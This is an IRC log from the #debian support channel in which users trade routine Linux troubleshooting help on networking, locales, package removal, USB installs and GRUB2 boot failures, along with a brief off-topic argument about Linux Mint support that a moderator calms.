| 14:00.20 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 14:00.30 | *** join/#debian mastroDani (~Daniele@87.13.81.133) |
| 14:00.37 | *** join/#debian dada_- (~dada@4aa54-4-82-234-150-40.fbx.proxad.net) |
| 14:01.00 | *** mode/#debian [+l 1126] by debhelper |
| 14:01.43 | *** join/#debian AbsintheSyringe (~havoc@SE400.PPPoE-2892.sa.bih.net.ba) |
| 14:01.52 | vitaliel | ompaul, ectospasm: I also reported a bug some time ago: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=619364 |
| 14:03.11 | *** join/#debian BrixSat (~BrixSat@bl6-37-131.dsl.telepac.pt) |
| 14:03.13 | ectospasm | vitaliel: could it be hardware? Do you have the same problem in different OSes? |
| 14:03.19 | BrixSat | hello |
| 14:03.30 | BrixSat | can i have pidgin 2.9 in debian squeze? |
| 14:03.59 | *** join/#debian thunderrd (~thunderrd@110.77.241.85) |
| 14:04.01 | cire_nonick | I have a dualhead setup. vlc apperas on both screens when watching video in fullscreen mode (spanned). Do you know how to avoid that? (radeon driver) |
| 14:04.15 | cire_nonick | kde4 running |
| 14:04.17 | vitaliel | ectospasm: OSX works without any problems, I wrote this in bug report |
| 14:05.01 | ectospasm | tldr |
| 14:05.16 | ectospasm | ...what about other Linux distros? |
| 14:06.38 | vitaliel | ectospasm: did not tried, I like debian ;-) |
| 14:06.40 | ompaul | vitaliel: see what he said - stick a live cd in there for 24 hours and see what it comes back with - it could be a hardware issue that the network card gets to a point and fails |
| 14:07.00 | ectospasm | or a driver issue |
| 14:07.07 | ompaul | true |
| 14:07.23 | *** join/#debian dr770 (~doron@bzq-218-171-107.red.bezeqint.net) |
| 14:07.36 | vitaliel | ectospasm: I think it is not the driver, because wireless also fails to connection when I try it |
| 14:08.02 | ectospasm | vitaliel: that sounds like a completely independent issue to me |
| 14:08.14 | ompaul | vitaliel: also please install jnettop (the j is not for java) and watch what is happening to the count of packages and so forth I have found it indispensable for checking what is going on with my network |
| 14:08.20 | *** join/#debian G0d-servant (~tux@2.179.252.118) |
| 14:08.27 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 14:08.40 | *** join/#debian Jippi (~jippignu@x1-6-00-18-4d-a9-2b-32.k429.webspeed.dk) |
| 14:09.18 | vitaliel | ompaul: thanks, I will try it. |
| 14:10.33 | *** join/#debian hochron (~ringo@h96-60-184-146.cncrtn.dsl.dynamic.tds.net) |
| 14:12.17 | *** join/#debian format_c (~format_c@2001:4dd0:fc0c:0:6e62:6dff:fe4a:e47d) |
| 14:12.21 | *** join/#debian mekeor (~mekeor@dslb-092-075-237-114.pools.arcor-ip.net) |
| 14:14.36 | *** join/#debian kyr0 (~kyr0@5ED1ADB0.cm-7-2c.dynamic.ziggo.nl) |
| 14:14.40 | *** join/#debian kyr0 (~kyr0@unaffiliated/kyr0) |
| 14:15.11 | G0d-servant | when i click "Places" in panel on gnome, dolphin open, why not open nautilus? |
| 14:15.50 | *** join/#debian lanthan (~ze@p54B7C970.dip.t-dialin.net) |
| 14:16.00 | *** join/#debian Raumkraut (~mel@88.84.168.157) |
| 14:16.37 | *** join/#debian ailo (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
| 14:17.00 | mark76 | I had that happen to me too G0d-servant |
| 14:17.10 | mark76 | Do you have KDE installed as well as Gnome? |
| 14:17.38 | G0d-servant | mark76: y |
| 14:18.13 | mark76 | Sounds like Dolphin has been set as the default file browser |
| 14:18.22 | *** join/#debian saep1 (~saep@muedsl-82-207-242-144.citykom.de) |
| 14:18.32 | mekeor | hi. "locale" says (read here yourself http://codepad.org/51ZB3KvQ ) that my LANG-variable is not set. i am connected to a debian-server via SSH in a terminal-emulator witch uses UTF8-encoding. but nevertheless, i can't write 'echo "äöü"' or such german special characters in emacs, e.g.. but when i 'cat' a file which includes such spec.-chars, it writes them well. what could be my problem? should i set the LANG-variab |
| 14:18.32 | mekeor | le? |
| 14:18.56 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 14:20.25 | mekeor | i also already tried "dpkg-reconfigure locales" but it still didnt work :( |
| 14:21.00 | *** join/#debian mastroDani (~Daniele@host121-69-dynamic.4-87-r.retail.telecomitalia.it) |
| 14:21.22 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 14:24.46 | G0d-servant | "when i click "Places" in panel on gnome, dolphin open, why not open nautilus?" i've played with "gconfeditor" but have not result. |
| 14:25.32 | *** join/#debian feisar (~simon@60.139.187.81.in-addr.arpa) |
| 14:26.00 | *** join/#debian lolmatic (~kommander@port-92-200-72-122.dynamic.qsc.de) |
| 14:26.31 | G0d-servant | is'nt any idea? |
| 14:27.19 | *** join/#debian RoozbehOnline (~rosha@91.98.84.121) |
| 14:27.51 | mekeor | G0d-servant: can you configure your default file-browser anywhere? in the menu or sth? |
| 14:28.17 | *** join/#debian adrian15 (~adrian15@188.Red-83-45-232.dynamicIP.rima-tde.net) |
| 14:29.12 | G0d-servant | mekeor: dont understand what say you ? |
| 14:30.10 | *** join/#debian RoozbehOnline (~rosha@91.98.84.121) |
| 14:31.01 | *** mode/#debian [+l 1119] by debhelper |
| 14:33.15 | G0d-servant | mekeor: i'm not able to set your default file-browser. you can help? |
| 14:33.52 | *** join/#debian isidore (~quassel@91.178.164.43) |
| 14:34.17 | *** join/#debian jimmy1980 (~jimmy@112.224.2.14) |
| 14:34.40 | *** join/#debian LiohAu (~LiohAu@mur75-1-81-57-44-204.fbx.proxad.net) |
| 14:34.45 | *** join/#debian Brigo (~Brigo@139.182.60.213.dynamic.mundo-r.com) |
| 14:34.46 | mekeor | G0d-servant: where are you from? maybe i can help you in your native language... |
| 14:35.10 | mekeor | btw, i solved my problem with "export LANG=de_DE.UTF-8m" in .bashrc; thanks anyway. |
| 14:35.56 | *** join/#debian ROSHA (~rosha@91.98.84.121) |
| 14:37.07 | G0d-servant | mekeor: I live in Iran. my language is persian. |
| 14:38.28 | mekeor | sry, then. i dont know persian. |
| 14:39.07 | G0d-servant | english? |
| 14:39.44 | *** join/#debian ZykoticK9 (~zykotick9@66.11.174.71) |
| 14:40.00 | *** join/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 14:40.45 | *** join/#debian mastroDani (~Daniele@host121-69-dynamic.4-87-r.retail.telecomitalia.it) |
| 14:42.13 | *** join/#debian naryfa (~me@c-98-221-197-169.hsd1.nj.comcast.net) |
| 14:42.18 | naryfa | Hi, I installed avast to scan my windows partition. I forced architecture. Then I had to manually remove it. Now dpkg gives me that error: warning: files list file for package `avast4workstation:i386' missing, assuming package has no files currently installed. How can I correct this? |
| 14:42.33 | *** join/#debian mastroDani (~Daniele@host121-69-dynamic.4-87-r.retail.telecomitalia.it) |
| 14:43.01 | *** join/#debian grosboulet (~unknown@unaffiliated/grosboulet) |
| 14:43.55 | *** join/#debian npoektop (~npoektop@85.202.112.90) |
| 14:43.57 | grosboulet | Hello, I try ton install debian on eeepc, but I can't... Where can I find a good howto ? |
| 14:44.37 | *** join/#debian bier (~bier@p54A5B383.dip.t-dialin.net) |
| 14:44.41 | *** join/#debian bier|tp (~bier@p54A5B383.dip.t-dialin.net) |
| 14:44.45 | drwrr | grosboulet, what's going wrong? |
| 14:45.16 | epsilon | grosboulet: standard answer: wiki.debian.org |
| 14:45.21 | *** part/#debian adrian15 (~adrian15@188.Red-83-45-232.dynamicIP.rima-tde.net) |
| 14:45.33 | *** join/#debian chipotle (~chipotle@18.111.10.215) |
| 14:45.43 | naryfa | Nobody has any experience with dpkg? |
| 14:45.54 | *** join/#debian QuikNik (~djv@S010678ca39fbf9d1.wp.shawcable.net) |
| 14:46.51 | grosboulet | I follow the steps in wiki, but when I zcat boot.ing.gz on my usb key I can not put the ico inside (no space left). The key is 4Gb and the boot.ing is 200Mo... |
| 14:48.21 | *** part/#debian naryfa (~me@c-98-221-197-169.hsd1.nj.comcast.net) |
| 14:48.21 | grosboulet | http://wiki.debian.org/fr/EeePC/HowTo/InstallUsingStandardInstaller (the wiki that I follow) |
| 14:49.16 | drwrr | grosboulet, try this: http://unetbootin.sourceforge.net/ |
| 14:50.03 | *** join/#debian ring0 (~ring0@unaffiliated/ring0) |
| 14:50.32 | *** join/#debian pitoow (~pitoow@201-14-160-225.fnsce702.dsl.brasiltelecom.net.br) |
| 14:50.34 | grosboulet | there no installer for eeepc in unetbootin, or I did not find it |
| 14:51.00 | *** mode/#debian [+l 1126] by debhelper |
| 14:52.23 | *** join/#debian drake01 (~drake01@59.178.145.127) |
| 14:53.05 | *** join/#debian aminpy (~aminpy@89.165.28.244) |
| 14:53.40 | drwrr | grosboulet, it's just another notebook |
| 14:55.31 | grosboulet | so, I can use every cdrom iso to install debian on eeepc ? |
| 14:56.06 | lapsusbrutus | echo 'KERNEL=="sr0", RUN+="abcde"' >> /etc/udev/rules.d/10-local.rules I did this to make udev run abcde command whenever a cd is. although it does not work, why would that be you think? |
| 14:56.26 | grosboulet | I try with debootstrap, but the desktop in out of the screen |
| 14:56.26 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 14:57.02 | *** join/#debian diniwed (~gavron@ool-45702fe1.dyn.optonline.net) |
| 14:59.12 | *** join/#debian Mikike (5d77a808@gateway/web/freenode/ip.93.119.168.8) |
| 14:59.15 | Mikike | hi |
| 14:59.18 | *** join/#debian pnbeast (~pnbeast@61.19.65.195) |
| 14:59.19 | Mikike | anyone can help me pls |
| 14:59.25 | Mikike | i want install roundcube webmail |
| 14:59.26 | Mikike | ? |
| 14:59.36 | *** part/#debian telmich (telmich@gpm/telmich) |
| 15:00.43 | *** join/#debian crs (~crs@gentoo/user/crs) |
| 15:00.49 | *** join/#debian fr3nchyQC (~Z3r0-2011@bas6-montreal02-1096646135.dsl.bell.ca) |
| 15:01.44 | MrFrood | Mikike: have you asked in #roundcube ? |
| 15:03.52 | *** join/#debian nnull (~toor@unaffiliated/nnull) |
| 15:06.29 | *** join/#debian foetus (~norbi@dslb-178-008-123-250.pools.arcor-ip.net) |
| 15:07.16 | *** join/#debian lanze_so4 (~hed@178.114.144.152.wireless.dyn.drei.com) |
| 15:07.18 | *** join/#debian mastroDani (~Daniele@host179-64-dynamic.0-79-r.retail.telecomitalia.it) |
| 15:08.42 | *** join/#debian npoektop (~npoektop@85.202.112.90) |
| 15:09.03 | *** join/#debian DanC82 (~DanC82@188.29.30.244.threembb.co.uk) |
| 15:09.09 | *** part/#debian foetus (~norbi@dslb-178-008-123-250.pools.arcor-ip.net) |
| 15:09.11 | *** join/#debian mastroDani (~Daniele@host179-64-dynamic.0-79-r.retail.telecomitalia.it) |
| 15:09.23 | *** join/#debian foetus (~norbi@dslb-178-008-123-250.pools.arcor-ip.net) |
| 15:09.29 | *** join/#debian grok0 (~o~o@unaffiliated/o-/x-1234567) |
| 15:09.57 | *** part/#debian foetus (~norbi@dslb-178-008-123-250.pools.arcor-ip.net) |
| 15:11.33 | *** join/#debian kyr0 (~kyr0@5ED1ADB0.cm-7-2c.dynamic.ziggo.nl) |
| 15:11.33 | *** join/#debian mastroDani (~Daniele@host179-64-dynamic.0-79-r.retail.telecomitalia.it) |
| 15:11.33 | *** join/#debian kyr0 (~kyr0@unaffiliated/kyr0) |
| 15:11.58 | *** join/#debian vooze (~vooze@unaffiliated/vooze) |
| 15:12.20 | *** join/#debian Tuxist (~quassel@dyndsl-085-016-171-079.ewe-ip-backbone.de) |
| 15:13.47 | *** join/#debian kenifanying (~kenifanyi@2001:250:1003:f012:225:64ff:fe5e:2076) |
| 15:13.56 | *** join/#debian lud0v1cu5 (472bc52b@gateway/web/freenode/ip.71.43.197.43) |
| 15:14.49 | *** join/#debian tweek_ (~tweek@193.170.48.242) |
| 15:15.02 | *** part/#debian fr3nchyQC (~Z3r0-2011@bas6-montreal02-1096646135.dsl.bell.ca) |
| 15:16.06 | Raumkraut | Anyone know about using SSL client certificates with apt? I can't get it to send them to the server. :( |
| 15:16.28 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 15:16.33 | tweek_ | quick question: i have all filesystems on my desktop mounted with noatime, is there any reason to do otherwise on a server? |
| 15:17.17 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 15:18.03 | *** join/#debian isidore_ (~quassel@91.178.11.158) |
| 15:18.53 | th0r | It appears wicd does not want to set MY nameserver ip's on bootup. I have the IP's added to /etc/dhcp/dhclient.conf, /etc/wicd/dhclient.conf.template, and in wicd itself. If I disconnect from the wifi router and reconnect, wicd sets the correct nameservers, but on bootup seems to ignore them. Is there a fix? |
| 15:19.37 | *** join/#debian luxor_ (~quassel@91.178.11.158) |
| 15:19.57 | *** join/#debian Black_Prince (~Prince@91.191.20.3) |
| 15:19.57 | *** join/#debian Black_Prince (~Prince@unaffiliated/black-prince/x-4865215) |
| 15:20.14 | trebor_home | what is the pastebin for this channel? |
| 15:20.47 | tweek_ | !paste |
| 15:20.47 | dpkg | Do not paste more than 2 lines to this channel. Instead, use: http://paste.debian.net/ http://pastie.org/ http://pastebin.com/ http://pastebin.ca/ or http://picpaste.com/ for pics. Use wikisend.com for large files (think tar.gz) up to 100MB. Remember to tell us the URL of your paste! Cannot cut and paste? Ask me about <pastebinit>, <paste2pastebin.pl>, <wgetpaste>. |
| 15:20.50 | *** join/#debian friese (~friese@p5481AE93.dip.t-dialin.net) |
| 15:21.00 | *** mode/#debian [+l 1132] by debhelper |
| 15:21.05 | trebor_home | thanks |
| 15:22.07 | *** join/#debian arvind_khadri (~arvind@unaffiliated/arvind-khadri/x-2237230) |
| 15:23.36 | trebor_home | i (still) have a network problem on the laptop of my wife, i tried to describe the problem here: http://paste.debian.net/120959/ |
| 15:24.02 | Miesco | How do I mount ntfs? |
| 15:24.05 | Miesco | for writing? |
| 15:24.35 | trebor_home | it is one of 3 laptops doing the same, but one fails now (debian 6, kde, wpa-psk (passphrase)) |
| 15:24.43 | *** join/#debian arjovr (~seba@host82.186-124-199.telecom.net.ar) |
| 15:24.49 | Mikike | i can't install roundcube :\ |
| 15:25.16 | *** join/#debian cryptics_ (~crypticsq@unaffiliated/crypticsquared) |
| 15:25.43 | *** join/#debian jhutchins_lt (~jonathan@64-151-37-66.dyn.everestkc.net) |
| 15:26.23 | trebor_home | i tried to shorten the informations from the logs, i hope someone has an idea as i am trying for hours now, thanks. |
| 15:27.26 | *** join/#debian asarch (~asarch@187.132.136.142) |
| 15:27.52 | valdyn_ | trebor_home: why would you try to shorten logs? |
| 15:28.04 | valdyn_ | trebor_home: thats not needed |
| 15:28.58 | valdyn_ | trebor_home: Authentication with 00:26:4d:bb:55:dc timed out. |
| 15:30.20 | valdyn_ | trebor_home: see what you get when scanning manually "iwlist scan" |
| 15:31.19 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 15:31.47 | *** join/#debian hell_razer (~HellRaise@183-216-133-95.pool.ukrtel.net) |
| 15:33.09 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 15:34.46 | *** join/#debian coolmadmax (~cool_code@client-203-166-108-62.net2000.com.au) |
| 15:35.03 | *** join/#debian project2501b (~project25@108.62.18.82) |
| 15:35.43 | project2501b | mmmmm |
| 15:35.53 | project2501b | this installing from USB business is a bit tricky |
| 15:36.31 | project2501b | so, basically, the hd-media is a build of the installer, which looks up any cd image, correct? |
| 15:36.58 | project2501b | and whether syslinux is popular, i am free to choose grub-pc or grub or lilo to put on the stick, correct? |
| 15:37.29 | ectospasm | yes |
| 15:37.56 | ectospasm | I've found installing grub on a thumbdrive to be a bit... tricky |
| 15:38.22 | project2501b | very much so. i must have spend over 200 us dollars on different usb sticks |
| 15:38.23 | ectospasm | ...especially because I was under a self-imposed time crunch, and after many trials I got syslinux to just... work |
| 15:38.55 | *** join/#debian dualboot (~dualboot@2002:579e:12dd:0:156e:1114:8e73:16e8) |
| 15:38.55 | project2501b | so, the recommendation for syslinux is because it works with most usb thumb drives out there. |
| 15:38.59 | ectospasm | unless you're paying a whole bunch for one stick, I wouldn't imagine quality to vary that wildly |
| 15:39.06 | project2501b | lacie sticks |
| 15:39.24 | project2501b | it's a 64gb flash hard drive with a usb3 interface |
| 15:39.28 | project2501b | it is FAST |
| 15:39.34 | ectospasm | USB3, heh |
| 15:39.39 | project2501b | rox |
| 15:39.46 | ectospasm | I have a new mobo that's got USB3 ports on the back |
| 15:39.52 | ectospasm | ...just a bonus, I guess. |
| 15:39.55 | project2501b | but not in front? |
| 15:40.11 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 15:40.16 | ectospasm | ...unless the only front headers it's got are USB3, no |
| 15:40.34 | project2501b | i'm waiting for apple to come up with usb 3 macbook pro and with HP to put usb3 on their mobile workstations. |
| 15:40.39 | ectospasm | (it's a TINY mobo... dual-Atom procs) |
| 15:40.41 | project2501b | AND SATA3 PLEASE |
| 15:40.55 | ectospasm | nah, don't need that for this app afaict |
| 15:40.56 | project2501b | enough is enough, gief sata3 already! |
| 15:41.00 | *** mode/#debian [+l 1126] by debhelper |
| 15:41.00 | project2501b | i do |
| 15:41.35 | *** join/#debian naryfa (~me@c-98-221-197-169.hsd1.nj.comcast.net) |
| 15:41.39 | project2501b | ectospasm: ok, more questions: I think i would like to submit a patch in the manual for usb booting but not with syslinux |
| 15:41.54 | naryfa | can anobody help? I'm trying to remove avast http://pastebin.com/16GJeDS6 |
| 15:41.56 | ectospasm | project2501b: go to the wiki |
| 15:42.02 | project2501b | ie, offer a "Booting using lilo/grub" can I? |
| 15:42.11 | project2501b | avast? |
| 15:42.15 | *** join/#debian Citizen666 (~citizen66@ip016.231-51-69.Sogetel.net) |
| 15:42.19 | project2501b | avast is available for linux? |
| 15:42.21 | naryfa | yeah, I installed it to scan my windows partition |
| 15:42.24 | ectospasm | isn't avast a Windows antivirus kit? |
| 15:42.31 | project2501b | yes, it is. |
| 15:42.32 | naryfa | and now I'm screwed lol |
| 15:42.41 | project2501b | how on earth are you screwed? |
| 15:42.43 | project2501b | just delete the file |
| 15:42.47 | project2501b | or directory |
| 15:42.50 | ectospasm | naryfa: lemme guess, no backups? |
| 15:43.06 | naryfa | ectospasm: what backups? |
| 15:43.10 | *** join/#debian Theoden (~quassel@c-98-234-161-226.hsd1.ca.comcast.net) |
| 15:43.17 | ectospasm | naryfa: I thought so. )-; |
| 15:43.22 | naryfa | If I delete the dir it leaves error in dpkg |
| 15:43.52 | project2501b | so fix the dpkg database after you remove it |
| 15:43.53 | ectospasm | dpkg --reconfigure -a won't help |
| 15:43.53 | dpkg | parse error: dunno what the heck you're talking about, ectospasm |
| 15:43.55 | naryfa | ectospasm: I'll try doing them once I get this fixed |
| 15:43.55 | project2501b | and you are doing it wrong |
| 15:44.01 | ectospasm | heh |
| 15:44.05 | project2501b | naryfa: dpkg -l |
| 15:44.10 | project2501b | not pkg --get-selections |
| 15:44.12 | ectospasm | dpkg, I wasn't talking to you. Bot. |
| 15:44.12 | dpkg | ectospasm: I don't know, could you explain it? |
| 15:44.17 | ectospasm | heheheheh |
| 15:44.23 | project2501b | and that is linux mint |
| 15:44.25 | project2501b | not debian |
| 15:44.35 | project2501b | please go to the appropriate channel. |
| 15:44.51 | naryfa | oh come on, it's based on debian it should work |
| 15:44.56 | project2501b | please go to the appropriate channel. |
| 15:45.03 | naryfa | you go |
| 15:45.09 | ectospasm | naryfa: different enough to not be supported here |
| 15:45.14 | project2501b | i run debian. |
| 15:45.26 | naryfa | Are you serious? Is this how racist you are? |
| 15:45.34 | project2501b | racist? |
| 15:45.36 | project2501b | are you black? |
| 15:45.37 | naryfa | This isn't help |
| 15:45.44 | naryfa | I'm pink |
| 15:45.51 | project2501b | then, no, we are not racists. |
| 15:45.55 | ectospasm | besides apt, Ubuntu has little in common with Debian, afaict |
| 15:46.06 | ectospasm | ...and Mint is now twice removed from Debian |
| 15:46.07 | *** join/#debian dawud (~dawud@55.145.217.87.dynamic.jazztel.es) |
| 15:46.13 | project2501b | yeah, like missing the ubuntards |
| 15:46.15 | trebor_home | valdyn_: sorry, for the delay. i powerer off/on the laptop, guess what, now it works again like charm. |
| 15:46.23 | ectospasm | naryfa: #linuxmint, or #mint maybe |
| 15:46.40 | ectospasm | naryfa: and we are being polite, no reason to throw the race card. |
| 15:46.49 | naryfa | Polite? |
| 15:46.56 | project2501b | what does the race card have to do with an operating system? |
| 15:47.05 | ectospasm | naryfa: would you expect a *BSD channel to help with Mac OS X? |
| 15:47.11 | project2501b | did the operating system land on plymouth rock? |
| 15:47.23 | project2501b | or was it by the mayflower? |
| 15:47.26 | naryfa | ectospasm: If there was somebody who knew mac, why not? |
| 15:47.29 | ectospasm | project2501b: I was referring to being called a racist... |
| 15:47.47 | project2501b | so am i, but i do not see how an operating system can be racist |
| 15:47.50 | ectospasm | naryfa: because it's not advertised to support Mac OS X |
| 15:47.57 | project2501b | ... unless it was coded by 4channers |
| 15:48.07 | ectospasm | it's like going into a Windows forum and asking about Ubuntu |
| 15:48.16 | *** join/#debian grapsus (~grapsus@modemcable145.184-23-96.mc.videotron.ca) |
| 15:48.22 | project2501b | closely related |
| 15:48.27 | project2501b | "just reboot" |
| 15:48.46 | naryfa | why are you so biased? What's wrong with Ubuntu and Windows? |
| 15:49.05 | ectospasm | project2501b: I find "just reboot" works well for desktop Debian, too. "I could waste three hours figuring out how to fix this properly, or I could reboot in two minutes." |
| 15:49.11 | *** join/#debian dominusceo (~ricardo@201.137.170.205) |
| 15:49.20 | IdleOne | naryfa: nothing is wrong with any OS they all have their good points. the POINT here is that Ubuntu is supported in #ubuntu. |
| 15:49.35 | project2501b | the fucked up lusers bill gates and mark shuttleworth created to replace the computer literate |
| 15:49.37 | ectospasm | ...and mint in its own channel |
| 15:49.43 | project2501b | that's what's wrong. |
| 15:49.54 | themill | project2501b: that's unnecessary. Please keep it civil and constructive. |
| 15:49.58 | ectospasm | project2501b: don't get uppity |
| 15:50.02 | naryfa | project2501 did they hurt you directly? |
| 15:50.03 | project2501b | hokay |
| 15:50.15 | project2501b | naryfa: they hurt every sysadmin. |
| 15:50.18 | IdleOne | project2501b: really there is no need to denigrate any OS user. are you so insecure in your choice of OS that you need to put the rest of us down? |
| 15:50.38 | ectospasm | and this is getting really OT >> #debian-offtopic |
| 15:50.40 | project2501b | IdleOne: alt.sysadmin.recovery still exists. for a reason. |
| 15:50.42 | project2501b | yeah |
| 15:50.45 | project2501b | switches. |
| 15:51.08 | naryfa | Ok, I'm sorry to intrude. |
| 15:51.17 | naryfa | Good bye. |
| 15:51.18 | *** join/#debian sickgut (~chatzilla@123-2-77-220.static.dsl.dodo.com.au) |
| 15:52.06 | naryfa | PS. Mint channel has 4 people, most are probably bots, there aren't anyone to help there. |
| 15:52.10 | *** join/#debian muenchhausen (~hollunder@eris.mozart.uni-klu.ac.at) |
| 15:52.15 | *** part/#debian naryfa (~me@c-98-221-197-169.hsd1.nj.comcast.net) |
| 15:52.49 | ectospasm | well, we can't support mint. Too bad s/he left |
| 15:53.11 | IdleOne | ectospasm: may I PM? |
| 15:53.16 | themill | ectospasm: btw I believe it's #linuxmint-help on irc.spotchat.org (for next time ;) (just ask dpkg) |
| 15:53.18 | sickgut | i have a strange question its not a live or deeath matter either but if yall know how to do it leme know: i have edited /etc/issue and now when i boot my debian i get a nice ascii art pic above my login prompt, this is great. if i want the beep program to send out a few beeps or have the login prompt trigger a wav or midi file etc, what do i edit to do such a thing? |
| 15:53.39 | IdleOne | ah, never mind |
| 15:54.01 | *** join/#debian CVirus (~CVirus@41.130.237.176) |
| 15:54.04 | *** part/#debian CVirus (~CVirus@41.130.237.176) |
| 15:54.11 | *** join/#debian Commander1024 (~Commander@ip-88-152-225-144.unitymediagroup.de) |
| 15:54.11 | muenchhausen | Does someone here have experience with getting debian to boot again after an update to grub2? |
| 15:54.44 | dominusceo | no |
| 15:55.05 | sickgut | the config files dont follow the same paths etc as grub 1, i think its in /etc/defaults or /var/run or something |
| 15:55.06 | *** join/#debian jemark (~mark@unaffiliated/jemark) |
| 15:55.14 | *** part/#debian kenifanying (~kenifanyi@2001:250:1003:f012:225:64ff:fe5e:2076) |
| 15:55.32 | ectospasm | IdleOne: I suppose. Am I misbehaving? |
| 15:55.48 | sickgut | i had this problem and i just googled what to edit and google told me first search |
| 15:55.57 | *** join/#debian DimmuR (~DimmuR@unaffiliated/dimmur) |
| 15:56.12 | muenchhausen | sickgut: what did you search for? |
| 15:56.23 | project2501b | sigterm: how on earth are you going to trigger a midi file over an ssh connection? |
| 15:56.49 | IdleOne | ectospasm: no not at all. I was going to PM you the channel/server name for mint but themill did it before me :) |
| 15:56.56 | *** part/#debian grapsus (~grapsus@modemcable145.184-23-96.mc.videotron.ca) |
| 15:57.02 | *** join/#debian ZeroHour_ (~zerohour@adsl-74-240-35-97.jan.bellsouth.net) |
| 15:57.35 | ectospasm | IdleOne: Oh, OK. |
| 15:57.50 | *** join/#debian sombunall (~sombunall@modemcable045.147-22-96.mc.videotron.ca) |
| 15:57.50 | ectospasm | I tend to forget about the wonderful bot, dpkg |
| 15:58.08 | timdau | muenchhausen: what is your error? |
| 15:58.31 | ectospasm | ...although it's a bit unfortunate that sometimes we have to talk about dpkg the package manager (-; |
| 15:58.42 | sickgut | grub2 config edit boot |
| 15:58.58 | *** join/#debian mcdroidlits (~mclits@ip70-179-32-227.sd.sd.cox.net) |
| 15:59.29 | muenchhausen | timdau: I end up at initrd prompt because it can't find the root filesystem (there's really nothing in /dev/disk-by-uuid) |
| 15:59.38 | sickgut | whatever works for ubuntu with grub2 will work for debian but thats what i gooled |
| 15:59.41 | sickgut | googled |
| 16:00.00 | *** join/#debian dr770 (~doron@bzq-218-171-107.red.bezeqint.net) |
| 16:00.13 | muenchhausen | sorry, initramfs prompt |
| 16:01.07 | timdau | muenchhausen: recently I used this page to troubleshoot. https://help.ubuntu.com/community/Grub2 |
| 16:01.52 | *** join/#debian XSoul (~XRule@89.253.189.93) |
| 16:02.11 | *** join/#debian Monarquista (~Monarquis@unaffiliated/peregrinator-six/x-3729336) |
| 16:02.17 | *** join/#debian s3a (~deniz@216.239.95.24) |
| 16:02.49 | muenchhausen | the UUID for the disk is correct, but there's nothing in /dev, so it can't find it. I don't know why there's nothing in /dev |
| 16:02.53 | *** join/#debian Judas_PhD (~kevin@misterfluffy.dsl.xmission.com) |
| 16:04.28 | valdyn_ | trebor_home: neat |
| 16:05.03 | jhutchins | muenchhausen: Sounds like you needed to regenerate initramfs. |
| 16:05.06 | *** join/#debian tuv (~tuv@unaffiliated/tuv) |
| 16:05.45 | *** join/#debian thiagoss (~thiagoss@189.71.100.100) |
| 16:07.13 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 16:07.24 | muenchhausen | jhutchins: how would I do that without being able to boot the system? |
| 16:07.47 | muenchhausen | I'm currently booting it in qemu on my laptop.. |
| 16:07.51 | jhutchins | muenchhausen: I suppose you'd have to boot from a rescue medium and chroot. |
| 16:08.38 | *** join/#debian redpepper (redpepper@osiris.redpeppercluster.de) |
| 16:08.54 | *** join/#debian Quite (~mats@213-64-75-70-no57.tbcn.telia.com) |
| 16:09.43 | muenchhausen | can't I chroot from my laptop? |
| 16:10.16 | *** join/#debian gnutron (~bob@173-20-128-9.client.mchsi.com) |
| 16:10.36 | *** join/#debian m8 (~mor@unaffiliated/m8) |
| 16:11.04 | jhutchins | muenchhausen: If it's a VM then it probably has nothing to do with initramfs, and I have no idea what qemu is capable of. |
| 16:11.40 | jhutchins | muenchhausen: Perhaps there is a qemu support channel that could help you. |
| 16:11.41 | *** join/#debian alpharesearch (~markus@24-158-188-124.dhcp.jcsn.tn.charter.com) |
| 16:11.58 | *** join/#debian craigevil (~craig@194.45.102.97.cfl.res.rr.com) |
| 16:11.58 | *** join/#debian jemark (~mark@unaffiliated/jemark) |
| 16:11.59 | *** join/#debian noahfx (~josue@190.56.118.78) |
| 16:12.22 | *** join/#debian BladeFreak (~BladeFrea@unaffiliated/bladefreak) |
| 16:13.29 | jhutchins | ,versions iceweasel |
| 16:13.31 | judd | Package iceweasel on i386 -- lenny: 3.0.6-3; lenny-security: 3.0.6-3; squeeze: 3.5.16-5; squeeze-proposed-updates: 3.5.16-6; lenny-backports: 3.5.16-7~bpo50+1; squeeze-security: 3.5.16-7; sid: 3.5.19-2; wheezy: 3.5.19-2; experimental: 4.0.1-4 |
| 16:13.40 | muenchhausen | I mean using my regular Linux instead of booting a live CD. The disk with the problematic system is only connected to the laptop via a SATA to USB thing. There shouldn't be much difference between this and a live CD, besides the distro, right? |
| 16:14.36 | muenchhausen | I mean I could mount and chroot from my working system instead of from a live CD |
| 16:14.50 | jhutchins | muenchhausen: I suppose you could. |
| 16:15.22 | *** join/#debian the_coder (~~the_code@host157-19-dynamic.0-79-r.retail.telecomitalia.it) |
| 16:15.34 | *** join/#debian dominusceo (~ricardo@201.137.170.205) |
| 16:17.52 | *** join/#debian alnr (~alnr@unaffiliated/alnr) |
| 16:18.20 | *** join/#debian m8 (~mor@unaffiliated/m8) |
| 16:19.04 | *** join/#debian Raptors (~Raptors@dsl-173-248-238-36.acanac.net) |
| 16:19.21 | *** join/#debian debsan (~debsan@190.245.74.16) |
| 16:19.47 | *** join/#debian macrobat (~fuzzyglee@h-17-133.A328.priv.bahnhof.se) |
| 16:20.05 | *** join/#debian eshat (~eshat@dslb-088-078-023-047.pools.arcor-ip.net) |
| 16:21.40 | *** join/#debian kj4 (~kj4kjl@cpe-024-074-136-025.carolina.res.rr.com) |
